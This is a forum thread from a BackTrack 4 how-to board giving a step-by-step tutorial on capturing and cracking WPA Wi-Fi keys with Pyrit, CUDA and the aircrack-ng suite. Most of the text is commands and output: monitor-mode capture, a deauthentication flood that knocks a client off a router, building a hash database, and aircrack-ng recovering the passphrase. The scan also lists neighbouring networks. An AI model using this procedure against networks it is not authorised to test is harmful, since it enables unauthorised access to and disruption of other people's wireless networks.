|
|||||||
| BT4beta HowTo's Guides and HowTo's For BT4 BETA |
![]() |
|
|
LinkBack | Thread Tools | Display Modes |
|
||||
|
OK so here we are with fresh new release and people lets be honest we want to see some thing new. Well this is one of bt4's new exiting features.
WPA hash Table Generation using CUDA/nvida GPU power. First thing to do is check if your card is supported for this technology http://en.wikipedia.org/wiki/CUDA#Supported_GPUs So lets get started.... I'm going to try to assume that if your reading this you have no clue what your doing so I will try to go from A -Z on this. So lets boot our disk and when we get to the framebuffer console prompt (thats before you startx) we are going to install the nvidia kernel module. Code:
root@bt:~# cd /opt/cuda/ root@bt:/opt/cuda# ls CUDA_INSTALL cuda-set-env.sh nv_20090130-1_i386.deb root@bt:/opt/cuda# bash CUDA_INSTALL next lets install the driver Code:
root@bt:~# modprobe nvidia root@bt:~# depmod -a Code:
root@bt:~# X -configure Code:
root@bt:~# cp xorg.conf.new /etc/X11/xorg.conf OK so if every thing went well your are looking at your desktop. Now before we get to cracking pyrit has a benchmark utility we can use to see if we are good to go. Code:
root@bt:/pentest/password/pyrit# python pyrit.py benchmark The Pyrit commandline-client (C) 2008 Lukas Lueg http://pyrit.googlecode.com This code is distributed under the GNU General Public License v3 The ESSID-blobspace seems to be empty; you should create an ESSID... Available cores: 'Standard CPU', 'Nvidia CUDA' Testing CPU-only core 'Standard CPU' (4 CPUs)... 1294.58 PMKs/s Testing GPU core 'Nvidia CUDA' (Device 'GeForce 8800 GT')... 5409.43 PMKs/s OK swell, so that works. Now what we need is a .cap file. I'm assuming every one can do this but I will show it anyway. Code:
root@bt:~# ifconfig wlan0 up root@bt:~# airmon-ng start wlan0 root@bt:~#airodump-ng -w cudacapture mon0 ![]() As you can see I have 2 dd-wrt routers on at the moment and my wife is connected to ddwrt1 feeding her new facebook addiction. Lets deauth her a$$ Code:
root@bt:~# aireplay-ng -0 10 -a 00:1d:7e:f0:a5:8f -c 00:13:02:a7:dd:53 mon0 01:13:28 Waiting for beacon frame (BSSID: 00:1D:7E:F0:A5:8F) on channel 6 01:13:29 Sending 64 directed DeAuth. STMAC: [00:13:02:A7:DD:53] [25|68 ACKs] 01:13:30 Sending 64 directed DeAuth. STMAC: [00:13:02:A7:DD:53] [ 3|63 ACKs] 01:13:31 Sending 64 directed DeAuth. STMAC: [00:13:02:A7:DD:53] [64|64 ACKs] 01:13:32 Sending 64 directed DeAuth. STMAC: [00:13:02:A7:DD:53] [64|64 ACKs] 01:13:33 Sending 64 directed DeAuth. STMAC: [00:13:02:A7:DD:53] [64|63 ACKs] 01:13:34 Sending 64 directed DeAuth. STMAC: [00:13:02:A7:DD:53] [64|64 ACKs] 01:13:35 Sending 64 directed DeAuth. STMAC: [00:13:02:A7:DD:53] [64|64 ACKs] 01:13:36 Sending 64 directed DeAuth. STMAC: [00:13:02:A7:DD:53] [ 5|64 ACKs] 01:13:37 Sending 64 directed DeAuth. STMAC: [00:13:02:A7:DD:53] [11|64 ACKs] 01:13:38 Sending 64 directed DeAuth. STMAC: [00:13:02:A7:DD:53] [64|64 ACKs] Code:
root@bt:~# aircrack-ng cudacapture-01.cap Opening cudacapture-01.cap Read 5612 packets. # BSSID ESSID Encryption 1 00:1D:7E:F0:A5:8F ddwrt1 WPA (1 handshake) 2 00:1D:7E:64:9A:7C ddwrt2 WPA (0 handshake) 3 00:21:29:84:11:FD CookNet WEP (34 IVs) 4 00:0C:41:3E:2D:66 linksys None (192.168.1.1) 5 00:12:0E:7B:02:78 WEST7359 No data - WEP or WPA 6 00:1A:70:83:B0:1C linksys None (0.0.0.0) 7 00:13:46:44:A5:CE default WEP (11 IVs) 8 00:14:6C:F6:36:78 CBC None (0.0.0.0) 9 00:06:25:DB:3E:7B linksys None (0.0.0.0) 10 00:1B:2F:63:7C:50 PawsWithPurpose No data - WEP or WPA 11 00:21:29:9A:E6:3C Bigfoot No data - WEP or WPA 12 00:1C:10:89:16:76 linksys None (0.0.0.0) Index number of target network ? I'm going to start a new post for part 2 Last edited by pureh@te; 04-23-2009 at 09:42 PM. |
|
||||
|
So you would rather use rather use the airolib-ng option because you love aircrack. That can be done as well like this..
Back up to right before we created the cow.out table and use these commands instead. create the database (pyrit wont do it for you for some reason) Code:
[root@bt:/pentest/password/pyrit# airolib-ng testdb -import essid ddwrt1 Database <testdb> does not already exist, creating it... Database <testdb> sucessfully created Could not open file/stream for reading. Code:
[root@bt:/pentest/password/pyrit# python pyrit.py -e ddwrt1 -f testdb export_hashdb The Pyrit commandline-client (C) 2008 Lukas Lueg http://pyrit.googlecode.com This code is distributed under the GNU General Public License v3 Exporting ESSID 'ddwrt1' Once its done we can use aircrack Code:
root@bt:/pentest/password/pyrit# aircrack-ng -r testdb /root/cudacapture-01.cap Opening /root/cudacapture-01.cap Read 10561 packets. # BSSID ESSID Encryption 1 00:1D:7E:F0:A5:8F ddwrt1 WPA (1 handshake) 2 00:1D:7E:64:9A:7C ddwrt2 WPA (0 handshake) 3 00:21:29:84:11:FD CookNet WEP (93 IVs) 4 00:0C:41:3E:2D:66 linksys None (192.168.1.1) 5 00:12:0E:7B:02:78 WEST7359 No data - WEP or WPA 6 00:1A:70:83:B0:1C linksys None (192.168.1.1) 7 00:13:46:44:A5:CE default WEP (28 IVs) 8 00:14:6C:F6:36:78 CBC None (0.0.0.0) 9 00:06:25:DB:3E:7B linksys None (0.0.0.0) 10 00:1B:2F:63:7C:50 PawsWithPurpose No data - WEP or WPA 11 00:21:29:9A:E6:3C Bigfoot No data - WEP or WPA 12 00:1C:10:89:16:76 linksys None (0.0.0.0) 13 00:18:3A:3A:B2:B5 No data - WEP or WPA 14 00:12:0E:6E:FE:6B WEST3306 No data - WEP or WPA Index number of target network ? 1 Code:
Aircrack-ng 1.0 rc2 r1385
[00:00:38] 4315315 keys tested (112595.70 k/s)
KEY FOUND! [ metasploit ]
Master Key : F4 AB C6 2A 18 F8 89 9B 6A 70 3D 5F EB 0D F4 F9
F8 F8 51 48 25 3E C3 61 EA 54 17 3D D3 84 18 AC
Transient Key : 11 A0 36 8F 96 63 64 7F 63 A1 08 35 73 82 96 AE
49 E1 BE 68 F7 7E 8D 98 57 28 C2 E1 DE AC F2 AC
68 00 43 B9 88 8E 96 57 7A BF E2 62 DB DE 6A 1B
BF 53 10 26 D1 D8 32 47 BC A6 F5 86 F1 83 23 11
EAPOL HMAC : 68 AE A8 82 57 7C 3D 89 6E BC BD C1 46 8E 34 AD
Quitting aircrack-ng...
Last edited by pureh@te; 02-11-2009 at 01:46 AM. |
|
|||
|
Wonderful starting point for BT4 Beta!! Shame on me for not having an Nvida Card to test it out. I used to get 10,000 k/s with a pre-hashed airolib database, what you are getting is just insane.
__________________
QuadCore AMD Phenon X4 9950, 2600 MHz
8GB DDR2 800MHz Dual Boot System: Windows Server 2008 x64 w/ Hyper-V, Ubuntu 9.10 x64 |
|
||||
|
Quote:
|
|
||||
|
...My favorite quote from your tutorial.
Thanks for posting this. Yes, it is time to upgrade my hardware to something that takes advantage of the GPU power. I'd like to see follow-up posts from other members with GTX-200 series cards. Those numbers should be off the charts. |
|
||||
|
The onboard card shouldnt matter. If you have a nvidia card in the pci slot it should get detected. Some of the newer nvidia stuff doesn't even have vga outs, its only for computuing.
Like this one I'm saving up for... http://www.nvidia.com/object/product..._c1060_us.html You can check for your card here http://en.wikipedia.org/wiki/CUDA#Supported_GPUs |
![]() |
| Bookmarks |
| Thread Tools | |
| Display Modes | |
|
|